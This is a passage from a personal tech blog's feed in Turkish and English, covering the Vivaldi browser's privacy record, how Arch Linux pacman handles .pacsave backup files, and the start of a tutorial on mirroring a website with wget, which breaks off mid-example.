class="headerlink" href="#gecmisi-kirli-mi-skandal-var-m" title="Permanent link">#</a></h2> <p>&Idot;nsanlar kapal&inodot; kaynak bir &scedil;ey duyunca hemen "Kesin verilerimi sat&inodot;yordur!" diye d&uuml;&scedil;&uuml;n&uuml;yor. Hakl&inodot;lar da.</p> <p>Peki Vivaldi'nin durumu ne? Hemen s&ouml;yleyeyim: Hay&inodot;r. &Ouml;yle "Milyonlarca kullan&inodot;c&inodot;n&inodot;n verisi s&inodot;zd&inodot;" veya "Ayarlar&inodot;n&inodot;z&inodot; &Ccedil;in'e satt&inodot;" gibi b&uuml;y&uuml;k bir vukuat&inodot; yok. &Scedil;irketin (Avrupa k&ouml;kenli olmas&inodot;n&inodot;n da etkisiyle) veri gizlili&gbreve;i konusunda "Biz verinizi satmay&inodot;z" diyen net bir duru&scedil;u var.</p> <p>Ama... (evet, bir 'ama' var):</p> <ul> <li><strong>Varsay&inodot;lan Ayarlar:</strong> Baz&inodot; gizlilik testlerinde (<a href="https://avoidthehack.com" rel="noopener noreferrer" target="_blank">Avoid the Hack</a> gibi sitelerin yapt&inodot;&gbreve;&inodot;) Vivaldi'nin varsay&inodot;lan ayarlar&inodot;n&inodot;n "en g&uuml;venli" olmad&inodot;&gbreve;&inodot; g&ouml;r&uuml;lm&uuml;&scedil;. Yani kurar kurmaz biraz kurcalaman gerekiyor.</li> <li><strong>Google Kavgas&inodot;:</strong> Y&inodot;llar &ouml;nce kurucusu (Opera'n&inodot;n da eski CEO'su) Google ile bir at&inodot;&scedil;ma ya&scedil;ad&inodot;. Google'&inodot;n, Vivaldi'nin AdWords reklamlar&inodot;n&inodot; "hakl&inodot; bir sebep olmadan" durdurdu&gbreve;unu iddia ettiler. Rekabet i&scedil;te, pek de &scedil;a&scedil;&inodot;rt&inodot;c&inodot; de&gbreve;il.</li> </ul> <div class="admonition tip"> <p class="admonition-title">&Idot;pucu ⚡ Kurar Kurmaz &Scedil;unu Yap&inodot;n: Vivaldi'yi kurduktan sonra hemen <code>Ayarlar &gt; Gizlilik ve G&uuml;venlik &gt; &Idot;zleyici ve Reklam Engelleme</code> yoluna gidin. Varsay&inodot;lan olarak 'Engelleme Yok' veya '&Idot;zleyicileri Engelle' se&ccedil;ili gelir. Bunu <strong>'&Idot;zleyicileri ve Reklamlar&inodot; Engelle'</strong> olarak de&gbreve;i&scedil;tirin. D&uuml;nyan&inodot;z de&gbreve;i&scedil;ecek.</p> </div> <h2 id="bir-dinozorun-itiraflar-ie-chrome-ve-eve-donus">Bir Dinozorun &Idot;tiraflar&inodot;: IE, Chrome ve Eve D&ouml;n&uuml;&scedil;<a class="headerlink" href="#bir-dinozorun-itiraflar-ie-chrome-ve-eve-donus" title="Permanent link">#</a></h2> <p>&Scedil;imdi biraz teknik detaylar&inodot; b&inodot;rak&inodot;p ger&ccedil;ek hayata d&ouml;nelim.</p> <p>Ben internet taray&inodot;c&inodot;lar&inodot;n&inodot;n o emekleme d&ouml;nemlerini, b&uuml;y&uuml;mesini canl&inodot; canl&inodot; g&ouml;zlerimle g&ouml;rm&uuml;&scedil; birisiyim. Internet Explorer denen o yarat&inodot;&gbreve;&inodot;n kahr&inodot;n&inodot; &ccedil;ekenler beni &ccedil;ok iyi anlar. 🦖 O g&uuml;nlerden sonra Google Chrome bizim i&ccedil;in sadece bir taray&inodot;c&inodot; de&gbreve;il, resmen bir nimetti, koca bir evrendi.</p> <p>T&inodot;pk&inodot; Linux da&gbreve;&inodot;t&inodot;mlar&inodot;nda "distro-hopper" (s&uuml;rekli da&gbreve;&inodot;t&inodot;m de&gbreve;i&scedil;tiren) olmad&inodot;&gbreve;&inodot;m gibi, taray&inodot;c&inodot; konusunda da maymun i&scedil;tahl&inodot; olmad&inodot;m. Y&inodot;llarca Chrome kulland&inodot;m. Evet, bazen sa&ccedil;ma sapan, kullan&inodot;c&inodot; deneyimini baltalayan kararlar ald&inodot;lar ama yine de "o kahr&inodot; &ccedil;eken bilir" diyerek yoluma devam ettim. Nadiren Firefox'a &scedil;ans verdim ama o kadar.</p> <p>Peki &scedil;imdi ne oldu da Vivaldi tekrar masama geldi?</p> <p>Ge&ccedil;enlerde, sizlere daha iyi g&ouml;rsellik sunabilmek ad&inodot;na (her ne kadar yay&inodot;n a&ccedil;amasam da 😅) <strong>KDE</strong> masa&uuml;st&uuml; ortam&inodot;na ge&ccedil;i&scedil; yapt&inodot;m. KDE'ye ge&ccedil;memle birlikte eski dostum Vivaldi'ye de geri d&ouml;nd&uuml;m.</p> <p>Chrome olmasayd&inodot; kesinlikle birinci taray&inodot;c&inodot;m bu olurdu. Neden mi? &Ccedil;&uuml;nk&uuml; her &scedil;eyini &ouml;zelle&scedil;tirebiliyorum. Minimum 15-20 sekme a&ccedil;&inodot;k &scedil;ekilde kullan&inodot;yorum ve Vivaldi bana m&inodot;s&inodot;n demiyor. Di&gbreve;er alternatif taray&inodot;c&inodot;lardan &ccedil;ok daha fazla seviyorum bu aleti.</p> <h2 id="ama-kapal-kaynak-diyenlere-sitemim">"Ama Kapal&inodot; Kaynak!" Diyenlere Sitemim<a class="headerlink" href="#ama-kapal-kaynak-diyenlere-sitemim" title="Permanent link">#</a></h2> <p>Gelelim &scedil;u malum konuya...</p> <p>A&ccedil;&inodot;k&ccedil;as&inodot;, bu kadar g&uuml;&ccedil;l&uuml; ve &ouml;zelle&scedil;tirilebilir bir taray&inodot;c&inodot;n&inodot;n s&inodot;rf bir k&inodot;sm&inodot; kapal&inodot; kaynak diye kullan&inodot;lmamas&inodot;n&inodot;, tu kaka ilan edilmesini anlam&inodot;yorum. Anlam veremiyorum. 🤷&zwj;&male;️</p> <p>Burada biraz ger&ccedil;ek&ccedil;i olal&inodot;m:</p> <ol> <li>En az&inodot;ndan di&gbreve;er taray&inodot;c&inodot;lar gibi size "privacy" (gizlilik) hikayesi sat&inodot;p, arkada verilerinizi nefret etti&gbreve;iniz firmalara gizli gizli satm&inodot;yorlar.</li> <li>O en sevdi&gbreve;iniz, yere g&ouml;&gbreve;e s&inodot;&gbreve;d&inodot;r&inodot;lamayan Firefox'un bile ge&ccedil;mi&scedil;te neler kar&inodot;&scedil;t&inodot;rd&inodot;&gbreve;&inodot;n&inodot; g&ouml;rd&uuml;k. Bu "FOSS'cu abilere" daha &ouml;nce de s&ouml;yledik ama dinletemedik.</li> <li><strong>Bir &scedil;eyin a&ccedil;&inodot;k kaynak olmas&inodot;, kontrol&uuml;n tamamen sizde oldu&gbreve;u anlam&inodot;na gelmez.</strong></li> </ol> <p>Benim i&ccedil;in Vivaldi; d&uuml;r&uuml;stl&uuml;&gbreve;&uuml;, &ouml;zelle&scedil;tirilebilirli&gbreve;i ve KDE ile olan uyumuyla &scedil;u anl&inodot;k kazanan tarafta. 😎</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Bu, FOSS (&Ouml;zg&uuml;r ve A&ccedil;&inodot;k Kaynak Kodlu Yaz&inodot;l&inodot;m) toplulu&gbreve;unda en &ccedil;ok tart&inodot;&scedil;&inodot;lan konu. Chromium temeli a&ccedil;&inodot;k kaynak, ama o g&uuml;zel aray&uuml;z... de&gbreve;il.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-15T17:13:00+03:002025-11-15T17:13:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-15:/en/arch-linux-pacsave-dosyalari/

<p>What are .pacsave files in Arch Linux? I explain why your settings aren't deleted when you remove a package and how to safely manage these backups.</p>

<p>In a previous post, we talked about how much of a headache <code>.pacnew</code> files can be, right? Those files usually scream, "Watch out, new settings are here!" But what about these <code>.pacsave</code> files? They appear in the opposite situation and are usually a good thing.</p> <p>You remove a package, and then you lament, "Oh no, all my settings are gone!" Well, <code>.pacsave</code> is Pacman's little safety net in Arch Linux that saves you from this situation. These files are closely related to <code>.pacnew</code>, but they appear in a completely opposite scenario.</p> <h2 id="what-exactly-is-a-pacsave-file">What Exactly is a .pacsave File?<a class="headerlink" href="#what-exactly-is-a-pacsave-file" title="Permanent link">#</a></h2> <p>In short, a <code>.pacsave</code> file is Pacman's method of backing up <em>modified</em> configuration files belonging to a package <strong>when you remove it</strong>, instead of throwing them away. This is Pacman's way of saying, "Trust me, you'll need this."</p> <p>Let's go through an example:</p> <p>Suppose you installed <code>apache</code> and meticulously edited the <code>/etc/httpd/conf/httpd.conf</code> file. Then one day you decide to remove <code>apache</code>: <code>sudo pacman -R apache</code>.</p> <p>Pacman looks at that file and says, "Wow, this person modified this." Instead of deleting it, it renames it like this:</p> <p><code>/etc/httpd/conf/httpd.conf.pacsave</code></p> <p>This file contains your old, valuable configuration. But what if you hadn't touched that file at all, meaning you left it as is? Then Pacman would say, "This is already standard, let it go to trash," and delete it. 🚮</p> <h2 id="why-does-pacman-create-pacsave-files">Why Does Pacman Create .pacsave Files?<a class="headerlink" href="#why-does-pacman-create-pacsave-files" title="Permanent link">#</a></h2> <p>Pacman's job is to keep the system consistent, yes, but also to protect your work. Configuration files often contain personal or system-specific changes.</p> <p>When removing a package, it asks itself a simple question: "Has this config file been touched?"</p> <ul> <li>If the answer is <strong>'No'</strong>? It deletes it.</li> <li>If the answer is <strong>'Yes'</strong>? It creates a <code>.pacsave</code>.</li> </ul> <p>It's that simple. This logic prevents you from losing valuable settings when you temporarily remove software. Even with commands like <code>pacman -Rns</code>, which clean up no-longer-needed dependencies, Pacman protects your modified files as <code>.pacsave</code> for safety.</p> <h2 id="how-do-i-find-all-pacsave-files-on-my-system">How Do I Find All .pacsave Files on My System?<a class="headerlink" href="#how-do-i-find-all-pacsave-files-on-my-system" title="Permanent link">#</a></h2> <p>So, is my system full of these 'safety net' files? It's very easy to find out.</p> <p>The <code>find</code> command is the classic way to do this:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>find<span class="w"> </span>/etc<span class="w"> </span>-type<span class="w"> </span>f<span class="w"> </span>-name<span class="w"> </span><span class="s2">"*.pacsave"</span> </code></pre></div> <p>But if you're a bit more 'organized' 🤓 like me, who wants to manage both <code>.pacnew</code> and <code>.pacsave</code> from one place, I recommend installing the <code>pacman-contrib</code> package.</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>pacman-contrib </code></pre></div> <p>Once this package is installed, all you need to type in the terminal is:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacdiff </code></pre></div> <p>This great tool shows you both new configuration files (<code>.pacnew</code>) and these backed-up old files (<code>.pacsave</code>) in a single interface, perfectly.</p> <h2 id="restoring-old-settings-guide">Restoring Old Settings (Guide)<a class="headerlink" href="#restoring-old-settings-guide" title="Permanent link">#</a></h2> <p>Let's say you reinstalled <code>apache</code> and thought, "Oh, where were my old settings?" To restore a <code>.pacsave</code> file, you just need to rename it.</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mv<span class="w"> </span>/etc/httpd/conf/httpd.conf.pacsave<span class="w"> </span>/etc/httpd/conf/httpd.conf </code></pre></div> <p>Of course, after bringing the file back, don't forget to restart the relevant service:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span>restart<span class="w"> </span>httpd </code></pre></div> <p>That's it. Your old settings are back in seconds.</p> <h2 id="when-should-i-delete-pacsave-files">When Should I Delete .pacsave Files?<a class="headerlink" href="#when-should-i-delete-pacsave-files" title="Permanent link">#</a></h2> <p>This is important.</p> <div class="admonition danger"> <p class="admonition-title">Critical Warning 🛑 Think twice before deleting a <code>.pacsave</code> file. You can safely delete it only in these situations:</p> </div> <ol> <li>If you are sure you will <em>never</em> install that package again.</li> <li>If you looked inside the file (with <code>cat</code> or <code>nano</code>) and said, 'There's nothing important here.'</li> </ol> <p>If you are sure, the delete command is simple:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>rm<span class="w"> </span>/etc/httpd/conf/httpd.conf.pacsave </code></pre></div> <p>I usually move them to a place like <code>~/backups/</code> instead of deleting them. Just in case... I guess I'm a bit of a hoarder. 😅</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mv<span class="w"> </span>/etc/httpd/conf/httpd.conf.pacsave<span class="w"> </span>~/backups/ </code></pre></div> <h2 id="quick-qa-confusion-reducer">Quick Q&amp;A (Confusion Reducer)<a class="headerlink" href="#quick-qa-confusion-reducer" title="Permanent link">#</a></h2> <p>Let's quickly answer a few classic questions:</p> <ul> <li> <p><strong>Q: What's the difference between <code>.pacnew</code> and <code>.pacsave</code>?</strong></p> </li> <li> <p><strong>A:</strong> <code>.pacnew</code> comes during an <strong>update</strong> (System: "Look, this is the config file for the new version, different from yours"). <code>.pacsave</code> comes during a <strong>removal</strong> (System: "You modified this file, I'm deleting it but here's a backup").</p> </li> <li> <p><strong>Q: Can I delete <code>.pacsave</code> files immediately?</strong></p> </li> <li> <p><strong>C:</strong> You can, but don't. Take a look inside. Maybe you'll reinstall that package in 3 months and need those settings.</p> </li> <li> <p><strong>Q: Does every package create a <code>.pacsave</code>?</strong></p> </li> <li> <p><strong>C:</strong> No. It only occurs when packages that (1) contain a configuration file AND (2) you have modified that file are removed.</p> </li> <li> <p><strong>Q: How do I manage both?</strong></p> </li> <li> <p><strong>C:</strong> Install <code>pacman-contrib</code> and use <code>sudo pacdiff</code>. It makes your life easier.</p> </li> </ul> <h3 id="the-bottom-line">The Bottom Line...<a class="headerlink" href="#the-bottom-line" title="Permanent link">#</a></h3> <p>In short, <code>.pacsave</code> files are one of Pacman's smartest features. They are a safety net 🕸️ for you. Running a <code>pacdiff</code> command (or <code>find</code> command) after every package removal and taking a look at these files keeps your <code>/etc</code> directory clean and ensures you don't lose valuable configurations.</p>2025-11-15T17:13:00+03:002025-11-15T17:13:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-15:/arch-linux-pacsave-dosyalari/

<p>Arch Linux'te .pacsave dosyaları nedir? Bir paketi kaldırınca ayarlarınızın neden silinmediğini ve bu yedekleri nasıl güvenle yöneteceğinizi anlatıyorum.</p>

<p>Daha &ouml;nceki bir yaz&inodot;da <code>.pacnew</code> dosyalar&inodot;n&inodot;n ne kadar ba&scedil; a&gbreve;r&inodot;tabilece&gbreve;ini konu&scedil;mu&scedil;tuk, de&gbreve;il mi? O dosyalar genelde "Dikkat et, yeni ayar geldi" diye ba&gbreve;&inodot;r&inodot;r. Ama bu <code>.pacsave</code> dosyalar&inodot;? Onlar tam tersi bir durumda ortaya &ccedil;&inodot;k&inodot;yor ve genelde iyi ki oradalar.</p> <p>Bir paketi kald&inodot;r&inodot;yorsun, sonra "T&uuml;h, b&uuml;t&uuml;n ayarlar&inodot;m gitti!" diye hay&inodot;flan&inodot;yorsun. &Idot;&scedil;te <code>.pacsave</code>, Arch Linux'te Pacman'in seni bu durumdan kurtaran k&uuml;&ccedil;&uuml;k sigortas&inodot;d&inodot;r. Bu dosyalar, <code>.pacnew</code> ile &ccedil;ok yak&inodot;ndan ili&scedil;kili, ama tamamen z&inodot;t bir senaryoda beliriyorlar.</p> <h2 id="pacsave-dosyas-tam-olarak-nedir">.pacsave Dosyas&inodot; Tam Olarak Nedir?<a class="headerlink" href="#pacsave-dosyas-tam-olarak-nedir" title="Permanent link">#</a></h2> <p>K&inodot;sacas&inodot;, <code>.pacsave</code> dosyas&inodot;, sen bir paketi <strong>kald&inodot;rd&inodot;&gbreve;&inodot;nda</strong>, Pacman'in o pakete ait <em>de&gbreve;i&scedil;tirilmi&scedil;</em> yap&inodot;land&inodot;rma dosyalar&inodot;n&inodot; &ccedil;&ouml;pe atmak yerine yedekleme y&ouml;ntemidir. Bu, Pacman'in "Emin ol, bu sana laz&inodot;m olur" deme &scedil;ekli.</p> <p>Bir &ouml;rnek &uuml;zerinden gidelim:</p> <p>Diyelim ki <code>apache</code> kurdun ve <code>/etc/httpd/conf/httpd.conf</code> dosyas&inodot;n&inodot; binbir emekle d&uuml;zenledin. Sonra bir g&uuml;n <code>apache</code>'yi kald&inodot;rmaya karar verdin: <code>sudo pacman -R apache</code>.</p> <p>Pacman o dosyaya bakar ve "Vay, bu adam bunu de&gbreve;i&scedil;tirmi&scedil;" der. Onu silmek yerine, ad&inodot;n&inodot; &scedil;&ouml;yle de&gbreve;i&scedil;tirir:</p> <p><code>/etc/httpd/conf/httpd.conf.pacsave</code></p> <p>&Idot;&scedil;te bu dosya, senin o eski, de&gbreve;erli yap&inodot;land&inodot;rman&inodot; i&ccedil;erir. Peki ya o dosyaya hi&ccedil; dokunmasayd&inodot;n, yani oldu&gbreve;u gibi b&inodot;raksayd&inodot;n? O zaman Pacman "Bu zaten standart, &ccedil;&ouml;pe gitsin" der ve silerdi. 🚮</p> <h2 id="pacman-neden-pacsave-olusturuyor">Pacman Neden .pacsave Olu&scedil;turuyor?<a class="headerlink" href="#pacman-neden-pacsave-olusturuyor" title="Permanent link">#</a></h2> <p>Pacman'in i&scedil;i sistemi tutarl&inodot; tutmak, evet, ama ayn&inodot; zamanda senin eme&gbreve;ini de korumak. Yap&inodot;land&inodot;rma dosyalar&inodot; genellikle ki&scedil;isel veya sisteme &ouml;zel de&gbreve;i&scedil;iklikler i&ccedil;erir.</p> <p>Bir paketi kald&inodot;r&inodot;rken kendine &scedil;u basit soruyu sorar: "Bu config dosyas&inodot;na dokunulmu&scedil; mu?"</p> <ul> <li>Cevap <strong>'Hay&inodot;r'</strong> ise? Siler.</li> <li>Cevap <strong>'Evet'</strong> ise? <code>.pacsave</code> yapar.</li> </ul> <p>Bu kadar basit. Bu mant&inodot;k, yaz&inodot;l&inodot;m&inodot; ge&ccedil;ici olarak kald&inodot;rd&inodot;&gbreve;&inodot;nda de&gbreve;erli ayarlar&inodot;n&inodot; kaybetmeni engeller. <code>pacman -Rns</code> gibi komutlarla, yani art&inodot;k ihtiya&ccedil; duyulmayan ba&gbreve;&inodot;ml&inodot;l&inodot;klar&inodot; temizlerken bile, Pacman de&gbreve;i&scedil;tirilmi&scedil; dosyalar&inodot;n&inodot; g&uuml;venlik i&ccedil;in <code>.pacsave</code> olarak korur.</p> <h2 id="sistemimdeki-tum-pacsave-dosyalarn-nasl-bulurum">Sistemimdeki T&uuml;m .pacsave Dosyalar&inodot;n&inodot; Nas&inodot;l Bulurum?<a class="headerlink" href="#sistemimdeki-tum-pacsave-dosyalarn-nasl-bulurum" title="Permanent link">#</a></h2> <p>Peki, sistemim bu 'sigorta' dosyalar&inodot;yla doldu mu? Bunu &ouml;&gbreve;renmek &ccedil;ok kolay.</p> <p><code>find</code> komutu bu i&scedil;in klasik yoludur:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>find<span class="w"> </span>/etc<span class="w"> </span>-type<span class="w"> </span>f<span class="w"> </span>-name<span class="w"> </span><span class="s2">"*.pacsave"</span> </code></pre></div> <p>Ama benim gibi hem <code>.pacnew</code> hem de <code>.pacsave</code>'leri tek yerden y&ouml;netmek isteyen biraz daha 'd&uuml;zenli' 🤓 biriysen, <code>pacman-contrib</code> paketini kurman&inodot; tavsiye ederim.</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>pacman-contrib </code></pre></div> <p>Bu paket kurulduktan sonra, terminale sadece &scedil;unu yazman yeterli:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacdiff </code></pre></div> <p>Bu harika ara&ccedil;, sana hem yeni yap&inodot;land&inodot;rma dosyalar&inodot;n&inodot; (<code>.pacnew</code>) hem de bu yedeklenmi&scedil; eski dosyalar&inodot; (<code>.pacsave</code>) tek bir aray&uuml;zde g&ouml;sterir, mis gibi.</p> <h2 id="eski-ayarlar-geri-yukleme-rehber">Eski Ayarlar&inodot; Geri Y&uuml;kleme (Rehber)<a class="headerlink" href="#eski-ayarlar-geri-yukleme-rehber" title="Permanent link">#</a></h2> <p>Diyelim ki o <code>apache</code>'yi geri y&uuml;kledin ve "Ah, benim eski ayarlar&inodot;m neredeydi?" dedin. <code>.pacsave</code> dosyas&inodot;n&inodot; geri y&uuml;klemek i&ccedil;in onu yeniden adland&inodot;rman yeterli.</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mv<span class="w"> </span>/etc/httpd/conf/httpd.conf.pacsave<span class="w"> </span>/etc/httpd/conf/httpd.conf </code></pre></div> <p>Tabii, dosyay&inodot; geri getirdikten sonra ilgili servisi yeniden ba&scedil;latmay&inodot; unutma:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span>restart<span class="w"> </span>httpd </code></pre></div> <p>&Idot;&scedil;te bu kadar. Eski ayarlar&inodot;n saniyeler i&ccedil;inde geri d&ouml;nd&uuml;.</p> <h2 id="pacsave-dosyalarn-ne-zaman-silmeliyim">.pacsave Dosyalar&inodot;n&inodot; Ne Zaman Silmeliyim?<a class="headerlink" href="#pacsave-dosyalarn-ne-zaman-silmeliyim" title="Permanent link">#</a></h2> <p>&Idot;&scedil;te buras&inodot; &ouml;nemli.</p> <div class="admonition danger"> <p class="admonition-title">Kritik Uyar&inodot; 🛑 Bir <code>.pacsave</code> dosyas&inodot;n&inodot; silmeden &ouml;nce iki kez d&uuml;&scedil;&uuml;n. Sadece &scedil;u durumlarda g&uuml;venle silebilirsin:</p> </div> <ol> <li>O paketi bir daha <em>asla</em> kurmayaca&gbreve;&inodot;na eminsen.</li> <li>Dosyan&inodot;n i&ccedil;ine (<code>cat</code> veya <code>nano</code> ile) bakt&inodot;n ve 'Burada &ouml;nemli hi&ccedil;bir &scedil;ey yokmu&scedil;' dediysen.</li> </ol> <p>E&gbreve;er eminsen, silme komutu basit:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>rm<span class="w"> </span>/etc/httpd/conf/httpd.conf.pacsave </code></pre></div> <p>Ben genelde silmek yerine <code>~/yedekler/</code> diye bir yere ta&scedil;&inodot;yorum. Ne olur ne olmaz... San&inodot;r&inodot;m biraz istif&ccedil;iyim. 😅</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mv<span class="w"> </span>/etc/httpd/conf/httpd.conf.pacsave<span class="w"> </span>~/yedekler/ </code></pre></div> <h2 id="hzl-soru-cevap-kafa-karsklg-giderici">H&inodot;zl&inodot; Soru-Cevap (Kafa Kar&inodot;&scedil;&inodot;kl&inodot;&gbreve;&inodot; Giderici)<a class="headerlink" href="#hzl-soru-cevap-kafa-karsklg-giderici" title="Permanent link">#</a></h2> <p>H&inodot;zl&inodot;ca birka&ccedil; klasik soruyu da cevaplayal&inodot;m:</p> <ul> <li> <p><strong>S: <code>.pacnew</code> ile <code>.pacsave</code> aras&inodot;ndaki fark ne?</strong></p> </li> <li> <p><strong>C:</strong> <code>.pacnew</code> <strong>g&uuml;ncelleme</strong> yaparken gelir (Sistem: "Bak, bu yeni s&uuml;r&uuml;m&uuml;n ayar dosyas&inodot;, seninkinden farkl&inodot;"). <code>.pacsave</code> ise <strong>kald&inodot;rma</strong> yaparken gelir (Sistem: "Sen bu dosyay&inodot; de&gbreve;i&scedil;tirmi&scedil;tin, ben bunu siliyorum ama yede&gbreve;i burada").</p> </li> <li> <p><strong>S: <code>.pacsave</code> dosyalar&inodot;n&inodot; hemen silebilir miyim?</strong></p> </li> <li> <p><strong>C:</strong> Yapabilirsin, ama yapma. &Idot;&ccedil;ine bir bak. Belki o paketi 3 ay sonra tekrar kuracaks&inodot;n ve o ayarlara ihtiyac&inodot;n olacak.</p> </li> <li> <p><strong>S: Her paket <code>.pacsave</code> olu&scedil;turur mu?</strong></p> </li> <li> <p><strong>C:</strong> Hay&inodot;r. Sadece (1) yap&inodot;land&inodot;rma dosyas&inodot; i&ccedil;eren VE (2) senin o dosyay&inodot; de&gbreve;i&scedil;tirmi&scedil; oldu&gbreve;un paketler kald&inodot;r&inodot;l&inodot;rken olu&scedil;ur.</p> </li> <li> <p><strong>S: &Idot;kisini birden nas&inodot;l y&ouml;netirim?</strong></p> </li> <li> <p><strong>C:</strong> <code>pacman-contrib</code> kur ve <code>sudo pacdiff</code> kullan. Hayat&inodot;n&inodot; kolayla&scedil;t&inodot;r&inodot;r.</p> </li> </ul> <h3 id="isin-ozu">&Idot;&scedil;in &Ouml;z&uuml;...<a class="headerlink" href="#isin-ozu" title="Permanent link">#</a></h3> <p>K&inodot;sacas&inodot;, <code>.pacsave</code> dosyalar&inodot; Pacman'in en ak&inodot;ll&inodot; &ouml;zelliklerinden biri. Senin i&ccedil;in bir g&uuml;venlik a&gbreve;&inodot; 🕸️. Her paket kald&inodot;rd&inodot;ktan sonra bir <code>pacdiff</code> komutu &ccedil;al&inodot;&scedil;t&inodot;rmak (veya <code>find</code> komutu) ve bu dosyalara bir g&ouml;z atmak, <code>/etc</code> dizinini temiz tutar ve de&gbreve;erli yap&inodot;land&inodot;rmalar&inodot;n&inodot; kaybetmemeni sa&gbreve;lar.</p>2025-11-14T11:59:00+03:002025-11-14T11:59:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-14:/en/wget-ile-web-sitesi-indirme/

<p>Downloading a site with Wget is an art. With the wrong command, the site turns into a dump. I'm showing the right parameters to browse offline without broken links.</p>

<p>Downloading a site on Linux... <code>wget</code> immediately comes to mind. Everyone recommends it, you know. But that command, when used with the wrong parameters, turns what you download into a complete mess. Broken links, empty images... it happened to me recently, and I got annoyed. 😤 That's why I'm here to explain that magical combination.</p> <p>Our goal is simple: to be able to browse the downloaded site seamlessly on our computer, not to overload the server, and not to overwrite files.</p> <p>Generally, there are two ways. One is "recursive traversal," which means downloading the site by branching out. The other is to pull all the addresses from the site's <code>sitemap.xml</code> file one by one. Both work, but for different situations.</p> <h2 id="the-famous-branching-download-process">The Famous "Branching" Download Process<a class="headerlink" href="#the-famous-branching-download-process" title="Permanent link">#</a></h2> <p>Of course, we'll use <code>wget</code>. GNU Wget is a free utility for non-interactively downloading files from the Web...</p> <p>...Saying it like that sounds too formal to me. Wait, let me rephrase: <code>wget</code>, Linux's oldest, most robust soldiers. It's already available in most distributions.</p> <p>So, let's use this soldier correctly, shall we?</p> <h3 id="magical-words-and-their-meanings">Magical Words and Their Meanings<a class="headerlink" href="#magical-words-and-their-meanings" title="Permanent link">#</a></h3> <p>I don't want to explain each parameter one by one like technical articles. That would be extremely boring. Instead, let's think of what each part of this command does, like the parts of a car.</p> <p><strong>First, the "Being Polite" Part:</strong> I usually start with <code>--wait=2</code>. Why? Once, I downloaded too fast, and the site owner banned me. Since that day, I've been operating on the principle of "the politer you are, the better." This command tells wget to pause for 2 seconds before downloading each file. Sometimes I even extend it to 3 seconds, giving myself a chance to collect my thoughts.</p> <p>It just occurred to me, is that site owner still blocking me? Anyway, back to the topic.</p> <p>Similarly, there's <code>--limit-rate=20K</code>. This limits the download speed to 20 kilobytes per second. So you're telling wget, "don't be greedy, be slow and steady." Otherwise, you'll consume both the server's bandwidth and your own internet will get jammed. This command is a lifesaver, especially when downloading large sites.</p> <p><strong>Now, the "Doing It Right" Part:</strong> The <code>--recursive</code> command is where the magic begins. This allows it to download all pages by jumping from one branch of the site to another. It's like going down a rabbit hole. 🐇 By default, it goes 5 levels deep; if the site is deeper, you can download indefinitely by saying <code>--level=inf</code> (but be careful, it can take a very long time!). I'm not sure, but I think <code>--level=0</code> might also work for infinite, worth checking.</p> <p>What about the page's images, CSS? That's where <code>--page-requisites</code> comes in. This command ensures that the page brings "everything it needs" - images, CSS, JavaScript - along with it. If you don't do this, the site you download will look like an unfurnished, empty house, nothing will look right. 👻</p> <p><strong>Final Touches:</strong> What if the links break after the download is complete? That's exactly what <code>--convert-links</code> is for. This command makes the downloaded site work on your own computer. It redirects the links to local files. Otherwise, the link you click will open to nothing.</p> <p><code>--adjust-extension</code> is also very useful. If the downloaded page's extension is not <code>.html</code>, wget adds <code>.html</code> to the end of it. This is very important for local browsing.</p> <p><code>--no-clobber</code> prevents duplicates. So if you download a file and then run it again, wget won't overwrite the old one, it will just say "this exists." Sometimes it's useful.</p> <div class="admonition note"> <p class="admonition-title">Tip ⚡ Let me quickly drop a small note here: The <code>-e robots=off</code> parameter prevents wget from respecting the site's <code>robots.txt</code> file. This means you're saying, 'I'm a bot, but I won't follow your rules.' Use this carefully, some sites might not like it.</p> </div> <h3 id="so-what-should-the-final-form-of-this-command-be">So, What Should the Final Form of This Command Be?<a class="headerlink" href="#so-what-should-the-final-form-of-this-command-be" title="Permanent link">#</a></h3> <p>Here's that magical command I put together after all my experiences. We can call it the "super download spell":</p> <div class="highlight"><pre><span></span><code>wget<span class="w"> </span>--wait<span class="o">=</span><span class="m">2</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--level<span class="o">=</span>inf<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--limit-rate<span class="o">=</span>20K<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--recursive<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--page-requisites<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--user-agent<span class="o">=</span>Mozilla<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--no-parent<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--convert-links<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--adjust-extension<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--no-clobber<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-e<span class="w"> </span><span class="nv">robots</span><span class="o">=</span>off<span class="w"> </span><span class="se">\</span> <span class="w"> </span>https://example.com </code></pre></div> <h3 id="example-try">Example Try<a class="headerlink" href="#example-try" title="Permanent link">#</a></h3> <p>Let's download <code>https://example.com</code> and see how "noisy" <code>wget</code> can be.</p> <div class="highlight"><pre><span></span><code>$<span 